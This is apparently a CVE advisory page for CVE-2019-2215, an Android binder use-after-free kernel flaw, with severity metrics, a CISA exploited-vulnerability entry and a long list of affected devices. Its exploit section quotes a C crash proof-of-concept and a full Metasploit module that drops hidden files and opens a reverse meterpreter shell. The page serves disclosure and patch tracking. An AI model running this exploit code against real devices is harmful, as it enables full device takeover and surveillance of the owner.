CVE-2019-2215 : Detail

CVE-2019-2215

7.8
/
High
Memory Corruption
51.32%V3
Local
2019-10-11
18h16 +00:00
2025-02-07
13h04 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A use-after-free in binder.c allows an elevation of privilege from an application to the Linux Kernel. No user interaction is required to exploit this vulnerability, however exploitation does require either the installation of a malicious local application or a separate vulnerability in a network facing application.Product: AndroidAndroid ID: A-141720095

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Android Kernel Use-After-Free Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47463

Publication date : 2019-10-03 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

The following issue exists in the android-msm-wahoo-4.4-pie branch of https://android.googlesource.com/kernel/msm (and possibly others): There is a use-after-free of the wait member in the binder_thread struct in the binder driver at /drivers/android/binder.c. As described in the upstream commit: “binder_poll() passes the thread->wait waitqueue that can be slept on for work. When a thread that uses epoll explicitly exits using BINDER_THREAD_EXIT, the waitqueue is freed, but it is never removed from the corresponding epoll data structure. When the process subsequently exits, the epoll cleanup code tries to access the waitlist, which results in a use-after-free.” The following proof-of-concept will show the UAF crash in a kernel build with KASAN (from initial upstream bugreport at https://lore.kernel.org/lkml/[email protected]/): #include <fcntl.h> #include <sys/epoll.h> #include <sys/ioctl.h> #include <unistd.h> #define BINDER_THREAD_EXIT 0x40046208ul int main() { int fd, epfd; struct epoll_event event = { .events = EPOLLIN }; fd = open("/dev/binder0", O_RDONLY); epfd = epoll_create(1000); epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); ioctl(fd, BINDER_THREAD_EXIT, NULL); } This issue was patched in Dec 2017 in the 4.14 LTS kernel [1], AOSP android 3.18 kernel [2], AOSP android 4.4 kernel [3], and AOSP android 4.9 kernel [4], but the Pixel 2 with most recent security bulletin is still vulnerable based on source code review. Other devices which appear to be vulnerable based on source code review are (referring to 8.x releases unless otherwise stated): 1) Pixel 2 with Android 9 and Android 10 preview (https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-q-preview-6/) 2) Huawei P20 3) Xiaomi Redmi 5A 4) Xiaomi Redmi Note 5 5) Xiaomi A1 6) Oppo A3 7) Moto Z3 8) Oreo LG phones (run same kernel according to website) 9) Samsung S7, S8, S9 *We have evidence that this bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline. After 7 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.* Confirmed this proof-of-concept works on Pixel 2 with build walleye_kasan-userdebug 10 QP1A.191105.0035899767, causing KASAN crash. Proof of concept C code and new.out attached. KASAN console output attached. I received technical information from TAG and external parties about an Android exploit that is attributed to NSO group. These details included facts about the bug and exploit methodology, including but not limited to: * It is a kernel privilege escalation using a use-after free vulnerability, accessible from inside the Chrome sandbox. * The bug was allegedly being used or sold by the NSO Group. * It works on Pixel 1 and 2, but not Pixel 3 and 3a. * It was patched in the Linux kernel >= 4.14 without a CVE. * CONFIG_DEBUG_LIST breaks the primitive. * CONFIG_ARM64_UAO hinders exploitation. * The vulnerability is exploitable in Chrome's renderer processes under Android's 'isolated_app' SELinux domain, leading to us suspecting Binder as the vulnerable component. * The exploit requires little or no per-device customization. * A list of affected and unaffected devices and their versions, and more. A non-exhaustive list is available in the description of this issue. Using these details, I have determined that the bug being used is almost certainly the one in this report as I ruled out other potential candidates by comparing patches. A more detailed explanation of this bug and the methodology to identify it will be written up in a forthcoming blog post when I find the time. We do not currently have a sample of the exploit. Without samples, we have neither been able to confirm the timeline nor the payload. The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox. I’ve attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when run locally. It only requires untrusted app code execution to exploit CVE-2019-2215. I’ve also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019 (google/walleye/walleye:10/QP1A.190711.020/5800535:user/release-keys). Vendor statement from Android: "This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit. We have notified Android partners and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update." Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47463.zip
Exploit Database EDB-ID : 48129

Publication date : 2020-02-23 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Common include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super( update_info( info, { 'Name' => "Android Binder Use-After-Free Exploit", 'Description' => %q{ }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # discovery and exploit 'Maddie Stone', # discovery and exploit 'grant-h', # Qu1ckR00t 'timwr', # metasploit module ], 'References' => [ [ 'CVE', '2019-2215' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ], [ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ], [ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ], ], 'DisclosureDate' => "Sep 26 2019", 'SessionTypes' => [ 'meterpreter' ], 'Platform' => [ "android", "linux" ], 'Arch' => [ ARCH_AARCH64 ], 'Targets' => [[ 'Auto', {} ]], 'DefaultOptions' => { 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp', 'WfsDelay' => 5, }, 'DefaultTarget' => 0, } )) end def upload_and_chmodx(path, data) write_file path, data chmod(path) register_file_for_cleanup(path) end def exploit local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit" ) exploit_data = File.read(local_file, {:mode => 'rb'}) workingdir = session.fs.dir.getwd exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}" upload_and_chmodx(exploit_file, exploit_data) payload_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}" upload_and_chmodx(payload_file, generate_payload_exe) print_status("Executing exploit '#{exploit_file}'") result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}") print_status("Exploit result:\n#{result}") end end

Products Mentioned

Configuraton 0

Google>>Android >> Version -

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 16.04

Configuraton 0

Netapp>>Cloud_backup >> Version -

Netapp>>Data_availability_services >> Version -

Netapp>>Hci_management_node >> Version -

Netapp>>Service_processor >> Version -

Netapp>>Solidfire >> Version -

Netapp>>Steelstore_cloud_integrated_storage >> Version -

Configuraton 0

Netapp>>Solidfire_baseboard_management_controller_firmware >> Version -

Netapp>>Solidfire_baseboard_management_controller >> Version -

Configuraton 0

Netapp>>Aff_baseboard_management_controller_firmware >> Version -

Netapp>>Aff_baseboard_management_controller >> Version a700s

Configuraton 0

Netapp>>A320_firmware >> Version -

Netapp>>A320 >> Version -

Configuraton 0

Netapp>>C190_firmware >> Version -

Netapp>>C190 >> Version -

Configuraton 0

Netapp>>A220_firmware >> Version -

Netapp>>A220 >> Version -

Configuraton 0

Netapp>>Fas2720_firmware >> Version -

Netapp>>Fas2720 >> Version -

Configuraton 0

Netapp>>Fas2750_firmware >> Version -

Netapp>>Fas2750 >> Version -

Configuraton 0

Netapp>>A800_firmware >> Version -

Netapp>>A800 >> Version -

Configuraton 0

Netapp>>H300s_firmware >> Version -

Netapp>>H300s >> Version -

Configuraton 0

Netapp>>H500s_firmware >> Version -

Netapp>>H500s >> Version -

Configuraton 0

Netapp>>H700s_firmware >> Version -

Netapp>>H700s >> Version -

Configuraton 0

Netapp>>H410s_firmware >> Version -

Netapp>>H410s >> Version -

Configuraton 0

Netapp>>H410c_firmware >> Version -

Netapp>>H410c >> Version -

Configuraton 0

Netapp>>H610s_firmware >> Version -

Netapp>>H610s >> Version -

Configuraton 0

Huawei>>Alp-al00b_firmware >> Version To (excluding) 10.0.0.162\(c00e156r2p4\)

Huawei>>Alp-al00b >> Version -

Configuraton 0

Huawei>>Alp-tl00b_firmware >> Version To (excluding) 10.0.0.162\(c01e156r1p4\)

Huawei>>Alp-tl00b >> Version -

Configuraton 0

Huawei>>Anne-al00_firmware >> Version To (excluding) 9.1.0.126\(c00e126r1p7t8\)

Huawei>>Anne-al00 >> Version -

Configuraton 0

Huawei>>Ares-al00b_firmware >> Version To (excluding) 9.1.0.165\(c00e165r2p5t8\)

Huawei>>Ares-al00b >> Version -

Configuraton 0

Huawei>>Ares-al10d_firmware >> Version To (excluding) 9.1.0.165\(c00e165r2p5t8\)

Huawei>>Ares-al10d >> Version -

Configuraton 0

Huawei>>Ares-tl00chw_firmware >> Version To (excluding) 8.2.0.163\(c01r2p1\)

Huawei>>Ares-tl00chw >> Version -

Configuraton 0

Huawei>>Bla-al00b_firmware >> Version To (excluding) 10.0.0.170\(c786e170r2p4\)

Huawei>>Bla-al00b >> Version -

Configuraton 0

Huawei>>Bla-l29c_firmware >> Version To (excluding) 9.1.0.300\(c432e4r1p11t8\)

Huawei>>Bla-l29c >> Version -

Configuraton 0

Huawei>>Bla-tl00b_firmware >> Version To (excluding) 10.0.0.170\(c01e170r1p4\)

Huawei>>Bla-tl00b >> Version -

Configuraton 0

Huawei>>Barca-al00_firmware >> Version To (excluding) 8.0.0.377\(c00\)

Huawei>>Barca-al00 >> Version -

Configuraton 0

Huawei>>Berkeley-l09_firmware >> Version To (excluding) 9.1.0.351\(c432e5r1p13t8\)

Huawei>>Berkeley-l09 >> Version -

Configuraton 0

Huawei>>Berkeley-tl10_firmware >> Version To (excluding) 9.1.0.333\(c01e333r1p1t8\)

Huawei>>Berkeley-tl10 >> Version -

Configuraton 0

Huawei>>Columbia-al00a_firmware >> Version To (excluding) 8.1.0.186\(c00gt\)

Huawei>>Columbia-al00a >> Version -

Configuraton 0

Huawei>>Columbia-l29d_firmware >> Version To (excluding) 9.1.0.325\(c432e4r1p12t8\)

Huawei>>Columbia-l29d >> Version -

Configuraton 0

Huawei>>Cornell-tl10b_firmware >> Version To (excluding) 9.1.0.321\(c01e320r1p1t8\)

Huawei>>Cornell-tl10b >> Version -

Configuraton 0

Huawei>>Duke-l09i_firmware >> Version To (excluding) 9.0.1.171\(c675e6r1p5t8\)

Huawei>>Duke-l09i >> Version -

Configuraton 0

Huawei>>Dura-al00a_firmware >> Version To (excluding) 1.0.0.190\(c00\)

Huawei>>Dura-al00a >> Version -

Configuraton 0

Huawei>>Figo-al00a_firmware >> Version To (excluding) 9.1.0.130\(c00e115r2p8t8\)

Huawei>>Figo-al00a >> Version -

Configuraton 0

Huawei>>Florida-al20b_firmware >> Version To (excluding) 9.1.0.128\(c00e112r1p6t8\)

Huawei>>Florida-al20b >> Version -

Configuraton 0

Huawei>>Florida-l03_firmware >> Version To (excluding) 9.1.0.154\(c605e7r1p2t8\)

Huawei>>Florida-l03 >> Version -

Configuraton 0

Huawei>>Florida-l21_firmware >> Version To (excluding) 9.1.0.154\(c605e7r1p2t8\)

Huawei>>Florida-l21 >> Version -

Configuraton 0

Huawei>>Florida-l22_firmware >> Version To (excluding) 9.1.0.150\(c636e6r1p5t8\)

Huawei>>Florida-l22 >> Version -

Configuraton 0

Huawei>>Florida-tl10b_firmware >> Version To (excluding) 9.1.0.128\(c01e112r1p6t8\)

Huawei>>Florida-tl10b >> Version -

Configuraton 0

Huawei>>Mate_rs_firmware >> Version 9.1.0.321\(c786e320r1p1t8\)

Huawei>>Mate_rs >> Version -

Configuraton 0

Huawei>>P20_firmware >> Version To (excluding) 9.1.0.312\(c00e312r1p1t8\)

Huawei>>P20 >> Version -

Configuraton 0

Huawei>>P20_lite_firmware >> Version To (excluding) 9.1.0.200\(c605e4r1p3t8\)

Huawei>>P20_lite >> Version -

Configuraton 0

Huawei>>P20_lite_firmware >> Version To (excluding) 9.1.0.200\(c635e5r1p1t8\)

Huawei>>P20_lite >> Version -

Configuraton 0

Huawei>>P20_lite_firmware >> Version To (excluding) 9.1.0.246\(c432e6r1p7t8\)

Huawei>>P20_lite >> Version -

Configuraton 0

Huawei>>Y9_2019_firmware >> Version To (excluding) 9.1.0.297\(c605e4r1p1t8\)

Huawei>>Y9_2019 >> Version -

Configuraton 0

Huawei>>Nova_2s_firmware >> Version To (excluding) 9.1.0.210\(c01e110r1p9t8\)

Huawei>>Nova_2s >> Version -

Configuraton 0

Huawei>>Nova_3_firmware >> Version To (excluding) 9.1.0.351\(c00e351r1p1t8\)

Huawei>>Nova_3 >> Version -

Configuraton 0

Huawei>>Nova_3e_firmware >> Version To (excluding) 9.1.0.200\(c636e4r1p5t8\)

Huawei>>Nova_3e >> Version -

Configuraton 0

Huawei>>P20_lite_firmware >> Version To (excluding) 9.1.0.200\(c636e4r1p5t8\)

Huawei>>P20_lite >> Version -

Configuraton 0

Huawei>>P20_lite_firmware >> Version To (excluding) 9.1.0.201\(c636e4r1p5t8\)

Huawei>>P20_lite >> Version -

Configuraton 0

Huawei>>Nova_3e_firmware >> Version To (excluding) 9.1.0.201\(c636e4r1p5t8\)

Huawei>>Nova_3e >> Version -

Configuraton 0

Huawei>>Nova_3e_firmware >> Version To (excluding) 9.1.0.201\(zafc185e4r1p8t8\)

Huawei>>Nova_3e >> Version -

Configuraton 0

Huawei>>P20_lite_firmware >> Version To (excluding) 9.1.0.201\(zafc185e4r1p8t8\)

Huawei>>P20_lite >> Version -

Configuraton 0

Huawei>>Honor_view_20_firmware >> Version To (excluding) 10.1.0.214\(c10e5r4p3\)

Huawei>>Honor_view_20 >> Version -

Configuraton 0

Huawei>>Jakarta-al00a_firmware >> Version To (excluding) 9.1.0.260\(c00e120r2p2\)

Huawei>>Jakarta-al00a >> Version -

Configuraton 0

Huawei>>Johnson-tl00d_firmware >> Version To (excluding) 9.1.0.219\(c01e18r3p2t8\)

Huawei>>Johnson-tl00d >> Version -

Configuraton 0

Huawei>>Leland-al10b_firmware >> Version To (excluding) 9.1.0.130\(c00e112r2p10t8\)

Huawei>>Leland-al10b >> Version -

Configuraton 0

Huawei>>Leland-l21a_firmware >> Version To (excluding) 9.1.0.156\(c185e5r1p5t8\)

Huawei>>Leland-l21a >> Version -

Configuraton 0

Huawei>>Leland-l32a_firmware >> Version To (excluding) 9.1.0.153\(c675e6r1p4t8\)

Huawei>>Leland-l32a >> Version -

Configuraton 0

Huawei>>Leland-tl10b_firmware >> Version To (excluding) 9.1.0.130\(c01e112r2p10t8\)

Huawei>>Leland-tl10b >> Version -

Configuraton 0

Huawei>>Leland-tl10c_firmware >> Version To (excluding) 9.1.0.130\(c01e112r2p10t8\)

Huawei>>Leland-tl10c >> Version -

Configuraton 0

Huawei>>Lelandp-al00c_firmware >> Version To (excluding) 9.1.0.130\(c00e112r2p10t8\)

Huawei>>Lelandp-al00c >> Version -

Configuraton 0

Huawei>>Lelandp-l22c_firmware >> Version To (excluding) 9.1.0.156\(c636e5r1p5t8\)

Huawei>>Lelandp-l22c >> Version -

Configuraton 0

Huawei>>Neo-al00d_firmware >> Version To (excluding) 9.1.0.321\(c786e320r1p1t8\)

Huawei>>Neo-al00d >> Version -

Configuraton 0

Huawei>>Princeton-al10b_firmware >> Version To (excluding) 10.1.0.160\(c00e160r2p11\)

Huawei>>Princeton-al10b >> Version -

Configuraton 0

Huawei>>Rhone-al00_firmware >> Version To (excluding) 8.0.0.376\(c00\)

Huawei>>Rhone-al00 >> Version -

Configuraton 0

Huawei>>Stanford-l09_firmware >> Version To (excluding) 9.1.0.211\(c635e2r1p4t8\)

Huawei>>Stanford-l09 >> Version -

Configuraton 0

Huawei>>Stanford-l09s_firmware >> Version To (excluding) 9.1.0.210\(c432e2r1p5t8\)

Huawei>>Stanford-l09s >> Version -

Configuraton 0

Huawei>>Sydney-al00_firmware >> Version To (excluding) 9.1.0.212\(c00e62r1p7t8\)

Huawei>>Sydney-al00 >> Version -

Configuraton 0

Huawei>>Sydney-tl00_firmware >> Version To (excluding) 9.1.0.212\(c01e62r1p7t8\)

Huawei>>Sydney-tl00 >> Version -

Configuraton 0

Huawei>>Sydneym-al00_firmware >> Version To (excluding) 9.1.0.212\(c00e62r1p7t8\)

Huawei>>Sydneym-al00 >> Version -

Configuraton 0

Huawei>>Tony-al00b_firmware >> Version To (excluding) 10.0.0.175\(c00e59r2p11\)

Huawei>>Tony-al00b >> Version -

Configuraton 0

Huawei>>Tony-tl00b_firmware >> Version To (excluding) 10.0.0.175\(c01e59r2p11\)

Huawei>>Tony-tl00b >> Version -

Configuraton 0

Huawei>>Yale-al00a_firmware >> Version To (excluding) 10.1.0.160\(c00e160r8p12\)

Huawei>>Yale-al00a >> Version -

Configuraton 0

Huawei>>Yale-l21a_firmware >> Version To (excluding) 10.1.0.231\(c10e3r3p2\)

Huawei>>Yale-l21a >> Version -

Configuraton 0

Huawei>>Yale-tl00b_firmware >> Version To (excluding) 10.1.0.160\(c01e160r8p12\)

Huawei>>Yale-tl00b >> Version -

Configuraton 0

Huawei>>Honor_9i_firmware >> Version To (excluding) 9.1.0.130\(c00e112r2p10t8\)

Huawei>>Honor_9i >> Version -

References

http://seclists.org/fulldisclosure/2019/Oct/38
Tags : mailing-list, x_refsource_FULLDISC
https://seclists.org/bugtraq/2019/Nov/11
Tags : mailing-list, x_refsource_BUGTRAQ
https://usn.ubuntu.com/4186-1/
Tags : vendor-advisory, x_refsource_UBUNTU